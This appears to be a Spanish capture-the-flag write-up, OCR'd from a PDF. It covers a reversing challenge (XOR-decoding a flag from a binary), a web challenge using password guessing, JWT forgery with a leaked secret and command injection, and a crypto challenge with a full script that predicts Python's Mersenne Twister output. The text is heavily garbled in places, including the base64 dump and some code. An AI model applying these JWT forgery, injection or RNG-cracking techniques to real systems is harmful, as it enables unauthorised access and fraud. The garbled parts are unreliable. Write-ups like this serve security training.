AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAATALT4gUmVhbG L6 YWS k
byBkaWFnbs0zc3RpY286AE1 lbnNhamUgZGUgSmF2awVyOgBKNFYxAHd 1YgBEZXNhcnJvbGxhZGEg
cG9YIEphdm1l1lciBTLiBGLgBkYgBsb2dzACAgU2Vydmljaw8gJIXM6IE9LCgAtPiBEaWFnbs0Ozc3Rp
Y289Y29tcGx LdGFkby4AAAAAAAAAACO+IEVYcm9yIGNyw610aWNVLiBTYWxpZW5kby4uLgAAC)09
PTOOPTOOPTO9PTOOPTOOPTO9PTOOPTOOPTOOPTO9PTOOPTOOPTOAAAAAAAAASGVYCmFtawVudGEg
SW50ZXJuYSBKkZSBBbsOhbG1zaXMAAAAAAAAAACOLLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSOt
LSOtLSOtLSOtLSOAAAAAAAAAACXYN1YXR2JdP1BNRX0BCUgVADRDT 1dnRX0BCVV5azwFPAV 1QzCcA
AAABGWM7RAAAAACAAAC4AT7v//eAAAAD]V/ /+gAAAASO/ / /TQAAACAT // /YAAAANHW/ / / QAAAAKPH/
/+WAAACDb8T//GAEAAAAAAAAUAAAAAAAAAAF6UgABeBABGWWHC JABAAAUAAAAHAAAAFDY / /8mAAAA

AEQHEAAAAAAKAAAANAAAADju//+AAAAAAA4QRg4YSQ8LAwiAAD8a0S0z JCIAAAAAFAAAAFWAAACQ
7v//EAAAAAAAAAAAAAAAFAAAAHQAAACI7V/ /cAAAAAAAAAAAAAAAGAAAATWAAADS 7 / / /VWAAAABT
DhBnCg4IQQSAACYAAACOAAAANPD/ /3MAAAAARG4QjAIBDhiGAOEOIIMEAMCOGEEOEETIOCAAAKAAA

ANQAAAB78P//2gAAAABFDhCGAKEOGIMDRA5QAsgKDhhBDhBBDghBCWAAAAAABAAAAEAAAAAFAAAA
ROS5VAATIAAMAEAAAAAWAAAAAAAAACYADABAAAAACAAAAAAAAAAQABWAQAAAABAAAAAAAAAATAACAE




AAAAAQAAAAAAAAAEAAAAEAAAAAEAAABHT LUAAAAAAAMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADASAAAAAAAAABEAAAAAAAABAAAAAAAAAGEAAAAA
AAAADAAAAAAAAAAAEAAAAAAAAAOAAAAAAAAAABMAAAAAAAAZAAAAAAAAAT g9AAAAAAAAGWAAAAAA
AAATAAAAAAAAABOAAAAAAAAAKDOAAAAAAAACAAAAAAAAAAGAAAAAAAAAIT 7/ bWAAAACQAWAAAAAA

AAUAAAAAAAAABAQAAAAAAAAGAAAAAAAAAL gDAAAAAAAACYAAAAAAAADAAAAAAAAAAASAAAAAAAAA

GAAAAAAAAAAVAAAAAAAAAAAAAAAAAAAAAWAAAAAAAACTPWAAAAAAAATAAAAAAAAAQGAAAAAAAAAAU
AAAAAAAAAACAAAAAAAAAFWAAAAAAAADABYAAAAAAAACAAAAAAAAAOAYAAAAAAAATAAAAAAAAAMAA
AAAAAAAACQAAAAAAAAAYAAAAAAAAABAAAAAAAAAACAAAAAAAAADT / /9VAAAAAAEAAAGAAAAA/ Y/ /




bwAAAADOBQAAAAAAAP/ / / 28AAAAAAQAAAAAAAADW/ / OVAAAAAMAFAAAAAAAA+T / /bwAAAAADAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAA
AABAEAAAAAAAAFAQAAAAAAAAYBAAAAAAAABWEAAAAAAAATAQAAAAAAAAKBAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATQAAAAAAAAEDDQZzOgKEd L
bnRvbyAXNS4yLjFfcDIwWMjUXMTIyIHAZKSAXNS4yLjEgMjAYNTEXM] IARONDOiAOR2VUdGIVIDEL
LjIuMVOwWMjAYNjAyMTQgcDUPIDELL jTuMSAYMDI2MDIXNAAALNNOC3RYdGFiAC5ub3R1LMdudS51
dwW1lsZC1lpZAAuaW50ZXJIwAC5nbnUuaGFzaAAuZHluc31tAC5kewW5zdHIALmdudS52ZXJzaWOuAC5n
bnUudmVyc21vb19yAC5yZWxhLmR5bgAucmVsYS5wbHQALM luaXQALNBsdC5nb3QALNBsdC5zZWMA
LnR1eHQALmMZpbmkALNJIVZGFOYQAUZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAubm90ZS5nbnUucHJIv
cGVydHKALm5vdGUUQUJJLXRhZwAuawW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAUZGFO
YQAUYNNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAHAAAAAGAAAAAAAABQAWAAAAAAAFADAAAAAAAA
JAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAQAAAATAAAAAAAAADAMAAAAAAABO
AwWAAAAAAABWAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIGAAAPDL / / 28CAAAAAAAAAJAD
AAAAAAAAKAMAAAAAAAAKAAAAAAAAAAQAAAAAAAAACAAAAAAAAAAAAAAAAAAAADAAAAALAAAAAGAA
AAAAAACAAWAAAAAAALGDAAAAAAAAOAEAAAAAAAAFAAAAAQAAAAGAAAAAAAAAGAAAAAAAAAALAAAAA
AwWAAAATAAAAAAAAABAQAAAAAAADWBAAAAAAAANOAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA
AAAAQAAAAP///28CAAAAAAAAAMAFAAAAAAAAZQUAAAAAAAAAAAAAAAAAAQAAAAAAAAAAGAAAAAA
AAACAAAAAAAAAEOAAAD+/ /9VAGAAAAAAAADOBQAAAAAAAOGFAAAAAAAAUAAAAAAAAAAFAAAAAQAA
AAgAAAAAAAAAAAAAAAAAAABCAAAABAAAAATAAAAAAAAAOAYAAAAAAAA4BgAAAAAAAMAAAAAAAAAA
SAVAVAVAVVAVVAVVAN AVAVVAVAVAVVAVAN S Ts VAVAVAVAVIVAVAVAV A LAV VAV O LVAVAN S O.VAV VAVAVVAVVAN o [ LAVAVAVAVAVIVAVIR AN AVAVAVVAVAVAY ofo)
AAAAAAAAAAQAAAAYAAAACAAAAAAAAAAY AAAAAAAAAHAAAAABAAAABGAAAAAAAAAAEAAAAAAAAAAQ
AAAAAAAAGWAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABT AAAAAQAAAAYAAAAAAAAATIBAA
AAAAAAAGEAAAAAAAATAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAGAAAAEAAAAGAAAA
AAAAAKAQAAAAAAAAOBAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAHBAAAAB
AAAABJAAAAAAAACWEAAAAAAAALAQAAAAAAAACAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAA
AACIAAAAAQAAAAYAAAAAAAAAIBEAAAAAAAAQEQAAAAAAALOCAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AAAAAAAAAAAA]gAAAAEAAAAGAAAAAAAAAOATAAAAAAAAABMAAAAAAAANAAAAAAAAAAAAAAAAAAAA
BAAAAAAAAAAAAAAAAAAAAIQAAAABAAAAAGAAAAAAAAAATAAAAAAAAAAGAAAAAAAAZQEAAAAAAAAA
AAAAAAAAACAAAAAAAAAAAAAAAAAAAACCAAAAAQAAAATAAAAAAAAAECEAAAAAAABOIQAAAAAAAEQA
AAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAQUAAAAEAAAACAAAAAAAAALARAAAAAAAASCEA
AAAAAAAAAQAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALQAAAAHAAAAAGAAAAAAAACWIQgAA
AAAAALAIAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAADHAAAABWAAAATAAAAA
AAAAACMAAAAAAAAATWAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAATLQAAAALA
AAADAAAAAAAAATQGIAAAAAAAALICOAAAAAAAATAAAAAAAAAAAAAAAAAAAACAAAAAAAAAATAAAAAAAA
AOEAAAAPAAAAAWAAAAAAAACQPQAAAAAAAIATAAAAAAAACAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAA
CAAAAAAAAAD tAAAABGAAAAMAAAAAAAAAMDOAAAAAAACY LQAAAAAAAPABAAAAAAAABQAAAAAAAAAT
AAAAAAAAABAAAAAAAAAAe gAAAAEAAAADAAAAAAAAAT G/ AAAAAAAALICBAAAAAAABAAAAAAAAAAAAA
AAAAAAAACAAAAAAAAAATAAAAAAAAAPYAAAABAAAAAWAAAAAAAAAAQAAAAAAAAAAWAAAAAAAAEAAA
AAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAADBAAAACAAAAAMAAAAAAAAAEEAAAAAAAAAQMAAA
AAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQEAAAEAAAAWAAAAAAAAAAAAAAAA
AAAAEDAAAAAAAABKAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAADAAAAAAAAAAAA
AAAAAAAAAAAAAHQWAAAAAAAACGEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=

Después se codificé pegando el contenido en la entrada del siguiente comando:

cat | base64 -d > herramienta

Decompilando el ejecutable se encontroé el siguiente fragmento:



https://dogbolt.org/
https://dogbolt.org/

void FUN_00101290(void)

long 1lvari;

puts("\n
puts("Mensaje de Javier:");
lvarl = 0;
do {
putchar((int)(char) ((&DAT_00102140)[1vVarl] A (&DAT_00102033)[(int)lvarl % 4])),;
lvarl = lvarl + 1;
} while (lvarl != 0x25);

puts("\n

return;

Esto va impriminedo caracteres resultados del XOR (@) hasta que valga (37). La parte de
permite entender que esta utilizando una clave de 4 caracteres.

Viendo el contenido del ejecutable con permite ver que en esa zona esta el texto (EZNED.

xxd herramienta

00002000: ....-> Realizand
00002010: o diagn..stico:.
00002020: Mensaje de Javie
00002030: r:.J4vl.web.Desa
00002040: rrollada por Jav
00002050 ier S. F..db.log
00002060 : s. Servicio %s:
00002070: OK..-> Diagn..s
00002080: tico completado.
00002090:
000020a0: cr..tico. Salie
000020b0:
000020cO:
000020d0:
000020e0:
000020f0:
00002100:
00002110:
00002120:
00002130:
00002140: , X7V1Gb]?PgEz. .H
00002150: . .4C~WgEz. .Uyk<.
00002160

Y en la zona del otro parametro del XOR empieza una cadena de 37 bytes:




2c58 3756 3147 625d 3f50 6745 7a0l1 0948

1500 3443 7e57 6745 7a01 0955 796b 3c05

3c05 6543 37

Realizando de nuevo la operacion XOR recuperamos la flag:

from itertools import cycle

DATA = bytes.fromhex(''.join([
'2c58 3756 3147 625d 3f50 6745 7a01 0948'.replace(' ' , ''),
'1500 3443 7e57 6745 7a01 0955 796b 3c05'.replace(' ' , ''),
'3c05 6543 37'.replace(' ' , '")

1))

KEY = b'J4v1'

FLAG = bytes([c N k for c, k in zip(DATA, cycle(KEY))])

print (FLAG.decode())

flag{s4lud1t05_y 4br4c1t05_d3_j4vi3r}

CorpGlobal Intrusion

CorpGlobal lleva anos siendo referente en el sector. Miles de empleados, oficinas en doce paises,
una infraestructura tecnolégica de la que presumen en cada conferencia. Todo bajo control. Todo
vigilado. Todo seguro.

O eso creian.

Hace tres dias, un analista del equipo de operaciones detecté algo extrafo en los logs del
sistema de administracién. Accesos que no cuadraban. Movimientos en zonas que deberian ser
inaccesibles. Nada escandaloso, nada que disparara las alarmas automaticas. Solo pequeias
anomalias que, vistas por separado, no significan nada. Vistas juntas, cuentan una historia muy
diferente.

Alguien ha estado dentro. Se ha movido con calma, sin dejar rastro evidente, como si conociera el
sistema desde dentro. Y lo peor: nadie sabe todavia como entro.

Te han llamado para averiguarlo. El punto de partida es todo lo que CorpGlobal tiene a la vista. A
veces, la brecha mds peligrosa no esta en el cédigo. Estd en las personas.

Se nos presentan dos sitios web. Un portal de autenticacién para una consola de administraciéon y una
plataforma social de empleados.

Leyendo los mensajes del usuario con el que esta la sesion iniciada se encuentra el siguiente:

Ah, por cierto — para los 3 nuevos que entran esta semana: sus cuentas se crean con la contrasena
temporal del sistema legacy de IT. El formato es nombre de mascota + ano de incorporacion + ciudad de
origen. Ya sé que es horrible desde el punto de vista de seguridad, pero Eduardo dice que lo van a migrar al
gestor de credenciales "en el siguiente sprint" desde hace seis meses (> Por favor diles que la cambien el
primer dia.



Analizando el cdédigo fuente de la pagina se encuentra que hay una funcién que expone gran cantidad
de informacién de todos los empleados.

<script>

// CorpGlobal Internal Social Network — frontend v2.0.3

// Author: @cmendez_dev Reviewed: @dchen_ops

//

LEGACY API vl1l — DEPRECATED — TODO: REMOVE BEFORE RELEASE 2.1
Ticket: CORP-847 | Assigned: @dchen_ops @cmendez_dev

Endpoint base: /api/vil/

(function () {
const _API_USERS = {
. // No mostrado intencionalmente

}i

En esta funcién se encuentran todos los campos necesarios (usuario, mascota, afo, ciudad) de todos los
usuarios. En concreto hay cuatro con mascota y probando con los usuario ((JEIIEEEERY) v los datos en el
formato de la contrasefia temporal (R EXELRZINE)) conseguimos el acceso a la consola de
administracién. Desde esta podemos ver que hay una seccién bloqueada y muestra el mensaje Esta
seccion requiere permisos de administrador..

CorpGlobal \ B t a © erovlesic
o, or !

Panel IT — Infr

M Dashboard Buenas tardes, erobles_it ™
Panel IT Infi & Sistema i 026

Utilizando las herramientas de desarrollador del navegador se puede encontrar que hay una cookie JWT:

cg_session=eyJhbGci0iJIUzIINiISINR5cCI6IKkpXVCJI9.eyJ1c2VybmFtZSI6ImVyb2JsZXNfaXQiLCJyb2x1IjoiaXRfc3RhZmY1

LCIPYXQi0jE3NZC2NTYXNTZ9.qfijFW-VmdLMBDKvmXyUIUgFNhYuRrmPivvgalLekkAg

Esta contiene la siguiente informacion:



"alg": "HS256",

"typ" M IWT"

"username": "erobles_it",
"role": "it_staff",

"iat": 1777656156

Investigando de nuevo en la red social se puede encontrar una respuesta a una publicacion
posteriormente editada:

Sofia Ruiz

Carlos... ;acabas de poner el secret del JWT aqui antes de editarlo? Vi la
notificacion @

@cmendez_dev

Espero que nadie lo haya capturado. mira esto.

Con este secreto podemos ((CEIFSECIYAMREY) firmar tokens JWT modificados.

Cambiamos el valor de rolede a R v firmamos con el secreto, generando el siguiente
token:

eyJhbGci0iJIUzIINIISINR5CCIBIkpXVCI9.eyJlic2VybmFtZSI6ImVyb2JsZXNfaXQilLCJlyb2x1IjoiYWRtaw4ilLCIpYXQi0jE3Nzc

2NTYXNTZ9.nv-5MAda4153H11T4U1lWgsRomsqC8 - tMFQCEOMkqPCO

Modificando el valor de la cookie almacenada y recargando la pagina se nos dio acceso a la seccion de
auditoria. En esta hay una barra de bisqueda nos permite consultar ficheros dentro de una carpeta.

Modulo de Auditoria

ADMIN
onsulta de registros del sistema — Nivel administradc

2025-03-10 08:12:01 INFO [auth] Login exitoso: lvega_ceo desde 10.0.1.5
2025-03-15 11:30:44 WARN [auth] Intento fallido (3x): erobles it desde 10.0.2.11
2025-03-18 09:05:12 INFO [admin] Acceso admin: dchen_ops — médulo auditoria
2025-03-20 14:22:55 INFO [auth] Login exitoso: mtorres fin desde 10.6.1.9



https://www.jwt.io/
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Se intento consultar otros directorios pero algunos caracteres estaban prohibidos en las consultas
desde el propio servidor, tales como @, § ) o @ En carécter ) estaba permitido pero solo habia unas
pocas variables de entorno que podian ser consultadas. Este fue el caso de introducir , lo cual
provoca la salida:

tail: can't open '/var/log/corpglobal//usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin': No

such file or directory

tail: no files

Tras comprobar que € era un caracter admitido, probamos a inyectar comandos con el operador .
Introduciendo se nos devuelve el contenido de todos los ficheros del directorio, entre los que
se encuentra la flag:

==> flag.txt <==

flag{IWT_FOrg3ry_4nd_CMD_1nj3ctl16n_pwn3d}




Crypto
Erase una tragaperras

iMadre mia la que se ha liado en Desengafio 21! Bajas a por el pan y te encuentras un armatoste
de luces parpadeantes en medio del descansillo. Resulta que Mauri, en un ataque de
desesperacién (y dudosa legalidad), ha instalado una maquina tragaperras en el portal. Su plan
maestro: que Dona Concha se gaste la pensién y asi cobrarse los recibos atrasados de la
comunidad.

"Radiopatio" estd a tope, pero lo interesante me lo ha contado Mariano. El tio lleva toda la
manana apoyado en la garita, libreta en mano y el cigarro a medio consumir, mirando fijamente la
maquinita.

—Chaval, te digo yo que esto tiene truco —me ha dicho, ddndose golpecitos en la sien—. El Mauri
se cree muy listo, pero ha comprado una tragaperras de saldo en el rastro. Llevo un buen rato
apuntando los numeritos que salen cuando pierdes. Yo de matematicas ando justo, pero te juro
por la cobertura de mi mévil que esta maquinita no es tan aleatoria como parece. ;Si estudias
bien los nimeros que tira, seguro que se le puede adivinar la siguiente jugada!

Mariano me ha pasado un cable serie conectado a la placa de la maquina y un puerto TCP. Dice
que si le saco el "Jackpot", la mitad de lo que lleve dentro la maquina es para mi, y con el resto
tapamos los pufos de la comunidad.

(Eres capaz de vaciarle la tragaperras a Mauri antes de que baje Juan Cuesta y organice una junta
urgente?

Se nos presenta un cédigo de Python y la direcciin IP y puerto del servidor en el que se ejectuta.

import random
import sys

import time
"flag{no soy una flag}"

def main()

print("===

print("
print("Mauri: 'jVenga, Concha! jEche otra moneda, que esto va para la comunidad!'")

print("Mariano: 'Tu ni caso, dale a los botones que yo estoy apuntando...'")

print ("

while True:
rl = random.getrandbits(32)
r2 random.getrandbits(32)
r3 random.getrandbits(32)

try:
apuesta = input("Introduce tus 3 apuestas (separadas por espacio): ").strip()

if not apuesta:




continue
numeros_usuario = [int(x) for x in apuesta.split()]

if len(numeros_usuario) != 3:
print("Mauri: 'jOiga! iQue son tres numeros! No me intente engafar.'")

continue

print("... Girando rodillos ...

time.sleep(0.4)

if (numeros_usuario[0] == r1 and
numeros_usuario[1] == r2 and
numeros_usuario[2] == r3):
print("\n2% {jiPREMIO!!! %&")
print(f"Mariano: 'jVamonos que nos vamos! jLo hemos roto!'")
print(f"Aqui tienes tu premio: {FLAG}")
break
else:
print(f"\n[!] La maquina muestra: {ri1} | {r2} | {r3}")

print("Mauri: 'jLastima! jCasi! Otra monedita para la saca...'")

except ValueError:
print("Mauri: 'jEso no son numeros! jSeguridad!'")
except EOFError:

break

if __name__ == "__main__":
sys.stdout.reconfigure(line_buffering=True)

main()

Puede verse que que la maquina genera 3 nimeros de 32 bits en bucle utilizando la funcién
CEEEIEEED). del moédulo ERERL). que utiliza el algoritmo Mersenne Twister (MT19937). Este
algoritmo es inseguro ya que al obtener una cantidad suficiente de valores generados es posible
predecir los siguientes.

El programa muestra los valores generados al perder asi que se pueden utilizar para explotar la
vulnerabilidad. Para reconstruir el estad interno del generador hace falta obtener 624 nimeros de 32
bits (matematicas hijo). Entonces esto supone un total de 208 tiradas.

Con el siguiente script podemos se automatizan las tiradas y se utiliza para recuperar el

estado del generadory predecir los 3 siguientes valores:

import re
from re import Match
import socket

from randcrack.randcrack import RandCrack

HOST: str = "" # No mostrado intencionalmente

PORT: int 12345




TIMEOUT: float = 1

def receiveall() -> bytes:
response = b''
try:
while True:
chunk: bytes = s.recv(4096)
if not chunk:
break
response += chunk
return response
except socket.timeout:
SEETS

return response

def retrievenumbers(response: bytes) -> list[int]:
REGEX = rb' (\d+)\s*\|\s*(\d+)\s*\|\s*(\d+)'
match: Match[bytes] | None = re.search(REGEX, response)

return list(map(int, match.groups())) if match else []

def sendmessage(message: str, s: socket.socket) -> bytes:
print(message, end='")
s.sendall(message.encode())
response: bytes = receiveall()
print(response.decode())

return response

def main(s: socket.socket):

# Connect

s.connect ((HOST, PORT))

# Receive header
response: bytes = receiveall()

print(response.decode())

rc: RandCrack = RandCrack()

while not rc.state:

# Log results
print(f'Counter {rc.counter}: ', end='")

response = sendmessage('® 0 O0\n', s)

if numbers := retrievenumbers(response):

for number in numbers:
rc.submit (number)

else:

print(f' RESET

rc = RandCrack()

# Predict numbers

nl: int = rc.predict_getrandbits(32)
n2: int rc.predict_getrandbits(32)
n3: int rc.predict_getrandbits(32)




response = sendmessage(f'{n1} {n2} {n3}\n', s)

# Close connection
s.close()
if __name__ == '__main__':

try:

s = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)

s.settimeout (TIMEOUT)
main(s)
except KeyboardInterrupt:

s.close()

& iiPREMIO!!! &

Mariano: 'jvamonos que nos vamos! jLo hemos roto!'

Aqui tienes tu premio: flag{tOm4_d4m310_t0d0O_mun3c4}




Forense
El disco duro de roer

Un dispositivo confiscado durante una operacién encubierta ha llegado a tus manos. El equipo de
